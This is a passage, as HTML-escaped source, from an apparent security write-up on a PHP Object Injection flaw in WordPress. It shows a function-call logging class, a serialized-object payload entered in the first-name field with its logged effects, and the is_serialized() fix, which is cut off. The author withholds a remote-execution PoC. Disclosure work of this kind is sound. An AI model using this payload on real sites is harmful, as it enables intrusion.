&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$funcName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$fh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/tmp/func.log'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'a'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;fwrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$funcName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'__construct('&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;func_get_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;')'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__destruct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'__destruct()'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__get(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__set(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, value)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__isset(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__unset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__unset(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__sleep()&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__wakeup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__wakeup()&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__toString()&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__invoke&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__invoke(&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;func_get_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__call(&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;func_get_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__callStatic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__callStatic(&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;func_get_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__set_state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__set_state(&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;json_encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;func_get_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;logFuncCall&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;__clone()&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);}&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to list all the functions that are called, first make sure that the class is included at the time the unserialization happens. You can do this by adding &lt;code&gt;require_once('foo.php')&lt;/code&gt; to the top of &lt;code&gt;functions.php&lt;/code&gt;.
Next, try exploiting the PHP Object Injection by setting your first name to &lt;code&gt;O:3:&quot;Foo&quot;:0:{}𝌆&lt;/code&gt;.
When you save this, and the page is refreshed, you will see that your first name now is &lt;code&gt;Foo&lt;/code&gt;, which is exactly what is returned by the &lt;code&gt;__toString()&lt;/code&gt; function of the Foo class.
Now let’s look at the functions that were called:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ sort -u /tmp/func.log
__destruct()
__toString()
__wakeup()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That gives us three functions we can work with: &lt;code&gt;__wakeup()&lt;/code&gt;, &lt;code&gt;__destruct()&lt;/code&gt; and &lt;code&gt;__toString()&lt;/code&gt;. 
“Unfortunately” I was unable to find an occurrence of a WordPress class that was loaded at the time the unserialization happens which could lead to a severe exploitation. Please note that this is not due to the “security” of WordPress, but rather by chance.&lt;/p&gt;

&lt;p&gt;So does this mean that WordPress is just vulnerable, but no exploit is possible? Not quite…
If you are familiar with WordPress, you might be aware that there is an enormous amount of plugins available. These plugins come with their own classes and thus may introduce what is needed for successfully exploiting this vulnerability.
I looked into this, and found that there exists a popular plugin which (when enabled) elevates this vulnerability to Remote Command Execution.&lt;/p&gt;

&lt;p&gt;Due to ethical considerations, I will not disclose a PoC of this exploit at this time, as there are too many vulnerable WordPress installations out there.&lt;/p&gt;

&lt;h3 id=&quot;wordpress-fix&quot;&gt;WordPress fix&lt;/h3&gt;

&lt;p&gt;The fix by WordPress is in the &lt;code&gt;is_serialized()&lt;/code&gt; function, I’ll briefly discuss it here.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;is_serialized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strict&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;c1&quot;&gt;// if it isn't a string, it isn't serialized&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;':'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strict&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;';'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'}'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// ensures ; or } exists but is not in the first X chars&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;';'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'}'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
     &lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'s'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$strict&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                 &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'a'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'O'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
